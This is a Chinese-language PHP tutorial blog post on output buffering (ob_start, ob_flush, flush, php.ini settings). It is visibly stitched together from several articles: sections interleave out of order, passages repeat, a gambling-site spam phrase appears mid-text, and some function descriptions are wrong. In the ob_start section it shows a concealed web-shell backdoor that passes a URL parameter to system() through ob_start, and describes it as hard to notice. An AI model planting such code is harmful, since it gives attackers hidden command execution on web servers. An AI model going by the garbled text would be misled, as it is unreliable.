php output_buffering 缓存使用

php 缓冲简介

其实我对php ob
系列印象还是很模糊,具体怎么玩的,还不是很了解,平时curd,确实对这些内容没有深入。作为phper
甚是惭愧。网上搜了一通,互相copy,代码运行不能出现作者所描述现象,本文良心出品,代码都是作者运行过。

当执行输出的时候,比如 echo,print。输出并没有立即送给 web server,
而是将数据写入 php buffer。php output_buffering
机制好处当然提升性能。其实 php 文件最终在浏览器上显示,走过3个缓冲阶段:
php buffer=》web server buffer=》browser buffer。 最后显示到浏览器

默认情况下,php buffer 是开启的,而且该 buffer 默认值是4096,即4
kb。你可以通过在php.ini配置文件中找到output_buffering配置。buffer是一个内存地址空间,Linux系统默认大小一般为4096(4kb),即一个内存页。主要用于存储速度不同步的设备或者优先级不同的设备之间传办理数据的区域。通过buffer,可以使进程这间的相互等待变少。这里说一个通俗一点的例子,你打开文本编辑器编辑一个文件的时候,你每输入一个字符,操作系统并不会立即把这个字符直接写入到磁盘,而是先写入到buffer,当写满了一个buffer的时候,才会把buffer中的数据写入磁盘,当然当调用内核函数flush()的时候,强制要求把buffer中的脏数据写回磁盘。

buffer是一个内存地址空间,linux系统默认大小一般为4096(4kb)。主要用于存储速度不同步的设备或优先级不同的设备之间传递数据的区域。

概述

举个例子

<?php
echo "南无阿弥陀佛<br>";
header("content-type:text/html;charset='utf-8'");
echo "真善忍好!";
//output
//南无阿弥陀佛
//真善忍好

header()必须在任何实际输出之前调用,但是我们程序已经输出了,却正常运行。在看下面的代码:

<?php

echo "南无阿弥陀佛<br>";
ob_flush();
header("content-type:text/html;charset='utf-8'");
echo "真善忍好!";
//output
//南无阿弥陀佛
//Cannot modify header information - headers already sent by (output started at E:phptest.php:3)
//真善忍好

上面程序说明程序并没有立即输出,而当调用ob_flush
函数的时候才刷新缓冲,输出。

通过buffer可以使进程之间的相互等待变少。

以前研究过PHP的输入输出缓冲,不过博客搬家以后,原来文章找不到了,今天看到一篇好文,顺便转载过来。

ob_flush() 与 flush()

ob_flush() , flush() 函数php
手册上都有详细的说明,你可以去查阅一下。二者的区别是:

ob_flush() 是刷新PHP自身的缓冲区

flush()是 它是刷新WebServer
服务器的缓冲。输出到浏览器。但是会出现下面的情况:

  1. 个别web服务器程序,特别是Win32下的web服务器程序,在发送结果到浏览器之前,仍然会缓存脚本的输出,直到程序结束为止。
  2. 有些Apache的模块,比如mod_gzip,可能自己进行输出缓存,这将导致flush()函数产生的结果不会立即被发送到客户端浏览器。
  3. 甚至浏览器也会在显示之前,缓存接收到的内容。例如 Netscape
    浏览器会在接受到换行或 html 标记的开头之前缓存内容,并且在接受到
    </table> 标记之前,不会显示出整个表格。
  4. 一些版本的 Microsoft Internet Explorer
    只有当接受到的256个字节以后才开始显示该页面,所以必须发送一些额外的空格来让这些浏览器显示页面内容。

比如:

<?php
/**
Server:LightTPD/1.4.28 (Win32)
X-Powered-By:PHP/5.3.27
*/
echo '佛法无边'."<BR>";
ob_flush();
flush();
sleep(1);
echo '法轮常转';

//output

上面的代码 在 chrome 浏览器上面
是一行一行的输出,在ie系列的浏览器则是全部输出。其实就是上面的
第四条一些浏览器只有当接收256个字符才开始显示。把上面的代码改成下面形式:

<?php
/**
Server:LightTPD/1.4.28 (Win32)
X-Powered-By:PHP/5.3.27
*/
echo str_pad('',240)."n"; 
echo '佛法无边'."<BR>";
ob_flush();
flush();
sleep(1);
echo '法轮常转';

//output

这样在ie下面就会一行一行输出,因为超过256个字符。

例如,当你打开一个文本编辑器,输入一个字符时,系统并不会立即写入磁盘。而是存储在buffer中,当写满一个buffer时,才会把buffer的内容写入磁盘。

简介

ob 其他函数说明

1.ob_end_flush 与 ob_end_clean**

end
的顾名思义就结束,关闭缓冲区,都是关闭输出缓冲,一个是输出缓冲区,一个是清除。比如

<?php
/**
Server:LightTPD/1.4.28 (Win32)
X-Powered-By:PHP/5.3.27
*/
echo 'before';
ob_end_clean();
echo str_pad('',4096)."n";
for ($i=10; $i>0; $i--) 
{ 
    echo $i;
    sleep(1);
}

上述代码是一下输出全部内容,而不是一个一个输出。ob_end_clean()
不是关闭了缓冲了?怎么不是一个一个输出呢,其实我们上面也说了,php
不是直接输出给浏览器,而是 web server。 虽然php 没有了 缓冲。但是web
server 还是有的。所以下面代码:

/**
Server:LightTPD/1.4.28 (Win32)
X-Powered-By:PHP/5.3.27
*/
echo 'before';
ob_end_clean();
echo str_pad('',4096)."n";
for ($i=10; $i>0; $i--) 
{ 
    flush();
    echo $i;
    sleep(1);
}

加上flush(),就会一行一行输出。 如果把ob_end_clean 换成 ob_end_flush 
会把 before 输出来。

其他函数 可参考手册,比较简单。

当然也可以使用flush强制将buffer的数据写入磁盘。

说到输出缓冲,首先要说的是一个叫做缓冲器(buffer)的东西。举个简单的例子说明他的作用:我们在编辑一篇文档时,在我们没有保存之前,系统是不会向磁盘写入的,而是写到buffer中,当buffer写满或者执行了保存操作,才会将数据写入磁盘。对于PHP来说,每一次像
echo 这样的输出操作,同样是先写入到了 php buffer
里,在脚本执行完毕或者执行了强制输出缓存操作,数据才会在浏览器上显示。
其实对于PHP程序员来说,基本上每个脚本都涉及到了输出缓冲,只是在大多数情况下,我们都不需要对输出缓冲进行更改。而今天就来用实例对PHP输出缓冲控制函数“Output
Control”做一个详细的解析。
下面这个例子简单介绍了输出缓冲在一般脚本中存在的方式:
复制代码 代码如下:
echo ‘Apple’;
echo ‘IBM’;
echo ‘Microsoft’

总结

php 脚本到浏览器,要经过  php buffer=》web server buffer=》browser
buffer。 最后显示到浏览器。 缺一不可。 所以我们要 ob_flush 和 
flush 以及加上  echo str_pad(”,4096) 才能调试出你想要的效果。

在php中,例如
echo,print,输出并不会立即通过tcp传递给浏览器输出。而是将数据写入php
buffer。当一个php buffer写满,才会通过tcp传递给浏览器。

我们在执行上面这段脚本时,脚本在执行完第一个 echo
时,并不会向浏览器输出相应内容,而是会输出到一个缓冲区,依次类推,当三个
echo
全部执行完毕(也就是脚本结束)时,才会将缓冲区内容全部输出到浏览器。当然这个缓冲区也有大小的限制,是根据
php.ini
中的output_buffering选项来设置的,这点会在下面的文章中详细介绍。而本章所讲的输出缓冲控制,就是在脚本结束前,对缓冲区里的内容进行操作。
下这个例子可以更好的体现输出缓冲控制的应用:
复制代码 代码如下:
echo ‘Apple’; sleep(2);
echo ‘IBM’; sleep(2);
echo ‘Microsoft’;

echo /print -> php output_buffer -> tcp buffer -> browser

我们至少需要等待 2秒
才能看到输出结果,那我们能不能让其实时的显示呢?也就是在第一个 echo
执行完毕时就输出相应的内容呢,这时候就需要用输出缓冲控制函数来操作缓冲区了,具体怎么实现先放一边,文章的结尾会公布。

php output_buffering

作用

默认情况下,php
buffer是开启的,默认值是4096(4kb)。可以在php.ini中找到output_buffering
配置。知道buffer写满,才会发送到浏览器。

1.在PHP中,像header(), session_start(), setcookie()
等这样的发送头文件的函数前,不能有任何的输出,而利用输出缓冲控制函数可以在这些函数前进行输出而不报错。其实这么做没啥必要,非常少见的用法。
2.对输出的内容进行处理,例如生成静态缓存文件、进行gzip压缩输出,这算是较常用的功能了。
3.捕获一些不可获取的函数输出,例如phpinfo(), var_dump()
等等,这些函数都会将运算结果显示在浏览器中,而如果我们想对这些结果进行处理,则用输出缓冲控制函数是个不错的方法。说的通俗点,就是这类函数都不会有返回值,而要获取这些函数的输出数据,就要用到输出缓冲控制函数。
4.最后一种应用就是 简介 中提到的 对一些数据进行实时的输出。

也可以设置ob_start(),这样即使超过默认值(4kb)也不会立即发送到浏览器,只到脚本运行完成,或者调用了ob_end_flush方法,才会输出到浏览器。

php.ini 中的相关配置项

1.output_buffering=4096,输出较少的数据(少于一个buffer)
<?php
for($i=0; $i<10; $i++){
echo $i.’
‘;
sleep(2);
}
?>

再来看看在 php.ini
中和输出缓冲控制有关的选项,共三个,分别是:output_buffering,
implicit_flush 和 output_handler。
1.output_buffering 默认为 off , 当设置为 on
时,则在所有脚本自动打开输出缓冲区,就是在每个脚本都自动执行了
ob_start()
这个函数,而不用再显示的调用该函数。其也可以设置为一个整型的数字,代表缓冲区可以存储的最大字节数,我们在例1下面的说明中提到过这个配置项。
2.implicit_flush 默认为 off , 当设置为 on
时,PHP将在输出后,自动送出缓冲区内容。就是在每段输出后,自动执行
flush() 。当然有效的输出不仅指像echo , print
这样的函数,也包括HTML段。
3.output_handler 默认为 null ,
其值只能设置为一个内置的函数名,作用就是将脚本的所有输出,用所定义的函数进行处理。他的用法和
ob_start(‘function_name’) 较类似,下面会介绍到。

运行结果:等所有脚本全部运行完成后,才输出,因为数据未满一个buffer的大小。

本篇文章中,如果没有特别说明,php.ini中output_buffering,
implicit_flush 和 output_handler的值均为默认值。

2.output_buffering=4096,输出较少的数据(少于一个buffer),关闭output_buffering,修改php.ini的output_buffering=0
奥门新浦京官方网站 ,<?php
for($i=0; $i<10; $i++){
echo $i.str_repeat(” “,500).’
‘; //
当接受到的256(甚至更多)个字节以后才开始显示该页面,所以必须发送一些额外的空格来让这些浏览器显示页面内容。
flush();
sleep(1);
}
?>

Output Control 函数详解

运行结果:因为禁用了php
buffering,不需要等到脚本运行完毕就可以输出,数据没有在php
buffer停留,可以看到断断续续间歇性输出。echo -> tcp buffer
->browser

ob_start()

3.当output_buffering=4096,输出较大数据(大于一个buffer),不使用ob_start()
<?php
for($i=0; $i<10; $i++){
echo file_get_contents(‘f.txt’).$i.’
‘;
sleep(1);
}
?>

bool ob_start ([ callback outputcallback[,intchunk_size [, bool
$erase ]]] )

运行结果:f.txt为一个大于4kb的文件,因为大于buffer默认值,buffer空间不够用,每当满一个buffer就会输出,所以可以看到间歇性输出。

此函数大家从命名上也能明白其含义,就是打开输出缓冲区,从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法,第一个参数要传递一个回调函数,其需将缓冲区内容做为参数,并且返回一个字符串。他会在缓冲区被送出时调用,缓冲区送出指的是执行了例如ob_flush()
等函数或者脚本执行完毕。ob_flush()
函数会在下面介绍到,来看一个简单的例子就能理解其用法:
复制代码 代码如下:
function dothing1($echo_thing){
    return ‘ #’ . $echo_thing . ‘# ‘;
}
 
ob_start(‘dothing1’);
echo ‘Apple’;
输出结果
#Apple#

4.当output_buffering=4096,输出较大数据(大于一个buffer),使用ob_start()
<?php
ob_start();
for($i=0; $i<10; $i++){
echo file_get_contents(‘f.txt’).$i.’
‘;
sleep(1);
}
?>
运行结果:因为使用了ob_start(),会为buffer设置足够大的空间,因此会保存到脚本执行完毕后才会输出。

从输出的结果可以看出单词两边被添加了“#”,也就是说在缓冲区内容输出时,运行了我们定义的
dothing1函数。

output_buffering 方法

再来看一个更实际的例子,也就是常见到的将网页内容利用 gzip
压缩后再输出,代码如下:
复制代码 代码如下:
ob_start();
echo str_repeat(‘Apple’, 1024);

1.ob_start
激活output_buffering机制,一旦激活,脚本不再直接输出到浏览器,而是暂时写入php
buffering区域。直到脚本运行完毕后,才发送。

输出结果:没有使用gzip压缩的情况下,输出内容大小为5.2KB。

2.ob_get_contents
获取php
buffering中的数据,注意:要在ob_end_clean()前调用,否则只会得到空字符。

输出结果:使用gzip压缩的情况下,文档大小小了很多,压缩花费了时间,所以时间长了。

3.ob_end_flush 和 ob_end_clean
ob_end_flush 会输出php buffering 中的数据,但不会清空。
ob_end_clean 不会输出,只会清空php buffering中的数据。

而第二个参数 chunk_size
为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数
erase 如果被设置为 flase ,
则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数(后面会提到),则会报一个错误。

所以, ob_flush是刷新PHP自身的缓冲区.

ob_start() 的用法就这么多,但有两点需要特别注意的地方:

而flush, 严格来讲,
这个只有在PHP做为apache的Module(handler或者filter)安装的时候,
才有实际作用. 它是刷新WebServer(可以认为特指apache)的缓冲区.

1.ob_start()
可重复调用,也就是说一个脚本中可以存在多个缓冲区,但记得要按照嵌套顺序将他们全部关闭掉,而如果多个
ob_start
都定义了第一个参数,也就是都定义了回调函数,则会按照嵌套顺序依次执行。关于缓冲区的堆叠嵌套,将在
ob_get_level 函数处详细介绍,这里就不过多阐述了。
2.ob_start() 还有一个不太明显但很致命的后门用法,实现代码如下:
复制代码 代码如下:
$cmd = ‘system’;
ob_start($cmd);
echo $_GET[‘a’];
ob_end_flush();
windows下面的输出结果:
14 个目录 30,970,388,480 可用字节

所以, 正确使用俩者的顺序是。 先ob_flush, 然后flush。

如果理解了上面关于 ob_start的用法,这段代码就不难理解了,其应用了
ob_start
函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点,实现了以Web服务器权限远程执行命令,并且不宜被发觉。

ob_get_contents()

string ob_get_contents ( void )
此函数用来获取此时缓冲区的内容,下面的例子就能很好的理解其用法:
复制代码 代码如下:
ob_start(‘doting2’);
echo ‘apple’;
$tmp = ob_get_contents();
file_put_contents(‘./doting2’, $tmp);
ob_end_flush()

ob_get_length()

此函数用来获取缓冲区内容的长度。

ob_get_level()
int ob_get_level ( void )
此函数用来获取缓冲机制的嵌套级别,我们在介绍 ob_start()
函数时曾说过,在一个脚本中可以嵌套存在多个缓冲区,而此函数就是来获取当前缓冲区的嵌套级别,用法如下:
复制代码 代码如下:
ob_start();
var_dump(ob_get_level());
ob_start();
var_dump(ob_get_level());
ob_end_flush();
ob_end_flush();

运行后可以很明显的看出他们的嵌套关系。

ob_get_status()
array ob_get_status ([ bool $full_status = FALSE ] )
此函数用来获取当前缓冲区的状态,返回一个状态信息的数组,如果第一个参数为
true ,将返回一个详细信息的数组,我们结合实例来分析这个数组:
复制代码 代码如下:
ob_start(‘ob_gzhandler’);
var_export(ob_get_status());
ob_start();
var_export(ob_get_status());
ob_end_flush(); ob_end_flush();
运行结果
array ( ‘level’ => 2, ‘type’ => 1, ‘status’ => 0, ‘name’ =>
‘ob_gzhandler’, ‘del’ => true, )
array ( ‘level’ => 3, ‘type’ => 1, ‘status’ => 0, ‘name’ =>
‘default output handler’, ‘del’ => true, )

说明:
1.level 为嵌套级别,也就是和通过 ob_get_level() 取到的值一样
2.type 为处理缓冲类型,0为系统内部自动处理,1为用户手动处理
3.status为缓冲处理状态, 0为开始, 1为进行中, 2为结束
4.name 为定义的输出处理函数名称,也就是在 ob_start()
函数中第一个参数传入的函数名
5.del 为是否运行了删除缓冲区操作

ob_flush()
void ob_flush ( void )
此函数的作用就是 “送出”
当前缓冲区内容,同时清空缓冲区,需要注意这里用的是 “送出”
一词,也就是说调用此函数并不会将缓冲区内容输出,必须在其后调用 flush
函数其才会输出。关于 flush 的用法下面就会说到,这里就不再做实例了。

flush()
void flush ( void )
这个函数算是比较常用的,用来将其前面的所有输出发送到浏览器显示,且不会对缓存区有任何影响。换句话说,不论是
echo 等函数的输出,还是 HTML实体 ,或是运行 ob_start() 送出的内容,运行
flush() 后都会在浏览器进行显示。

ob_flush()与flush()的区别

在没有开启缓存时,脚本输出的内容都在服务器端处于等待输出的状态,flush()可以将等待输出的内容立即发送到客户端。
开启缓存后,脚本输出的内容存入了输出缓存中,这时没有处于等待输出状态的内容,你直接使用flush()不会向客户端发出任何内容。而ob_flush()的作用就是将本来存在输出缓存中的内容取出来,设置为等待输出状态,但不会直接发送到客户端,这时你就需要先使用ob_flush()再使用flush(),客户端才能立即获得脚本的输出。

void ob_implicit_flush()

此函数用来打开/关闭绝对刷送模式,就是在每一次输出后自动执行
flush(),从而不需要再显示的调用 flush() ,提高效率。

其他相关函数

1.bool ob_end_flush ( void )
2.string ob_get_flush ( void )
3.void ob_clean ( void )
4.bool ob_end_clean ( void )
5.string ob_get_clean ( void )

对一些数据进行实时的输出

相信读了上面的内容,就会对PHP的缓冲控制函数有较深的认识了,现在我们回到简介中留下的问题:让例2的脚本实现实时的显示内容,而不需要等待4秒后出现所有内容。
我们可以根据缓存开启与否,有如下几种不同的写法,如果你在测试过程中无法出现预期的效果,可以在header(‘content-type:text/html;charset=utf-8′);下面插入str_repeat(‘
‘,
1024);,你也可以尝试更大的值,部分浏览器即使这么做了,有可能还是无法出现效果,你可以尝试将php代码放入完整的html代码块body体内。下面代码的header(‘content-type:text/html;charset=utf-8′);不要省略哦,否则部分浏览器查看不到效果。
复制代码 代码如下:
ob_start(”); //这里我使用ob_start(‘ob_gzhandler’)没有效果
header(‘content-type:text/html;charset=utf-8’);
echo ‘Apple #’; 
ob_flush(); flush();
sleep(2);
echo ‘IBM #’;
ob_flush(); flush();
sleep(2);
echo ‘Microsoft’;

发表评论

电子邮件地址不会被公开。 必填项已用*标注